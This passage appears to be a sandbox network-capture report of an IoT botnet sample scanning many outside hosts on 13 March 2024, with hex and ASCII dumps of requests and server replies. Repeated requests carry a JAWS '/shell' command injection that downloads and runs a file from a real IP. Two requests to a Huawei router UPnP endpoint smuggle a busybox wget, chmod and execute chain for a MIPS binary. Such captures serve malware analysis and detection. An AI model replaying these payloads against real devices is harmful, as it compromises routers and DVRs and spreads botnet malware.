20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 35 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 39 34 31 37 32 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 37 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 30 30 30 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>The page is not found</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <style type="text/css"> /<![CDATA[/ body { background-color: #fff; color: #000; font-size: 0.9em; font-family: sans-serif,helvetica; margin: 0; padding: 0; } :link { color: #c00; } :visited { color: #c00; } a:hover { color: #f50; } h1 { text-align: center; margin: 0; padding: 0.6em 2em 0.4em; background-color: #294172; color: #fff; font-weight: normal; font-size: 1.75em; border-bottom: 2px solid #000
Mar 13, 2024 09:35:33.596116066 CET	1286	IN	Data Raw: 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 73 74 72 6f 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 Data Ascii: ; } h1 strong { font-weight: bold; font-size: 1.5em; } h2 { text-align: center; background-color: #3C6EB4; font-siz
Mar 13, 2024 09:35:33.596185923 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 33 3e 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 33 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 Data Ascii: <h3>The page you are looking for is not found.</h3> <div class="alert"> <h2>Website Administrator</h2> <div class="content"> <p>Something has triggered missing webpag
Mar 13, 2024 09:35:33.596194983 CET	18	IN	Data Raw: 68 74 6d 6c 3e 0a Data Ascii: html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.15	42166	20.85.85.62	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:35.707701921 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:35.824242115 CET	471	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Date: Wed, 13 Mar 2024 08:35:35 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.15	45900	64.23.172.171	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:35.768853903 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:36.599112988 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:36.753495932 CET	434	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:35:36 GMT Server: Apache/2.4.37 (rocky) OpenSSL/1.1.1k Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.15	56846	200.88.231.100	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:35.768917084 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:36.599092007 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:36.759768009 CET	337	IN	HTTP/1.1 200 OK Content-Type:text/html; charset=UTF-8 Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval' Content-Language:en
Mar 13, 2024 09:35:36.760854006 CET	1286	IN	Data Raw: 64 33 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: d38<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ut
Mar 13, 2024 09:35:36.761960983 CET	1286	IN	Data Raw: 31 29 20 3d 3d 20 27 3a 27 29 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 20 20 20 20 0d 0a 20 20 20 20 0d 0a 20 20 20 20 4c 69 73 74 20 3d 20 41 64 64 72 65 73 73 2e 73 70 6c Data Ascii: 1) == ':')) { return false; } List = Address.split(":"); if (List.length > 8) { return false; } for (var i = 0; i < List.length; i++) { if (false == IsIPv6AddressUs
Mar 13, 2024 09:35:36.761974096 CET	860	IN	Data Raw: 0a 65 6c 73 65 0d 0a 7b 0d 0a 76 61 72 20 4c 69 73 74 20 3d 20 48 6f 73 74 49 6e 66 6f 2e 73 70 6c 69 74 28 22 3a 22 29 3b 0d 0a 69 66 28 4c 69 73 74 2e 6c 65 6e 67 74 68 20 3e 3d 20 33 29 0d 0a 7b 0d 0a 2f 2a 20 69 6e 63 6c 75 64 65 20 74 77 6f Data Ascii: else{var List = HostInfo.split(":");if(List.length >= 3){/* include two or more than two ":" /if(true == IsIPv6AddressValid(HostInfo)){/ host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPor

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.15	40130	138.4.152.6	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:35.786922932 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.15	60096	178.84.9.227	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:35.800061941 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.15	44662	184.27.253.172	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:35.940035105 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:36.270858049 CET	428	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 206 Expires: Wed, 13 Mar 2024 08:35:36 GMT Date: Wed, 13 Mar 2024 08:35:36 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 65 65 38 36 36 61 62 26 23 34 36 3b 31 37 31 30 33 31 38 39 33 36 26 23 34 36 3b 31 39 63 37 31 32 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.ee866ab.1710318936.19c712</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.15	35146	160.99.23.245	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:36.008344889 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.15	43030	46.250.251.167	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:36.214194059 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:36.486223936 CET	338	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Mar 2024 08:35:36 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.15	56064	154.201.131.98	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:36.249042988 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:36.557822943 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 13 Mar 2024 08:35:36 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.15	44814	202.62.220.100	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:36.512428999 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:36.820923090 CET	567	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:35:36 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_jk/1.2.48 Content-Length: 340 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 20 28 43 65 6e 74 4f 53 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 30 2e 32 6b 2d 66 69 70 73 20 6d 6f 64 5f 6a 6b 2f 31 2e 32 2e 34 38 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 65 70 72 63 2e 63 6f 6d 2e 68 6b 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_jk/1.2.48 Server at www.eprc.com.hk Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.15	33452	156.241.14.31	37215

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:37.670178890 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:35:41.718993902 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
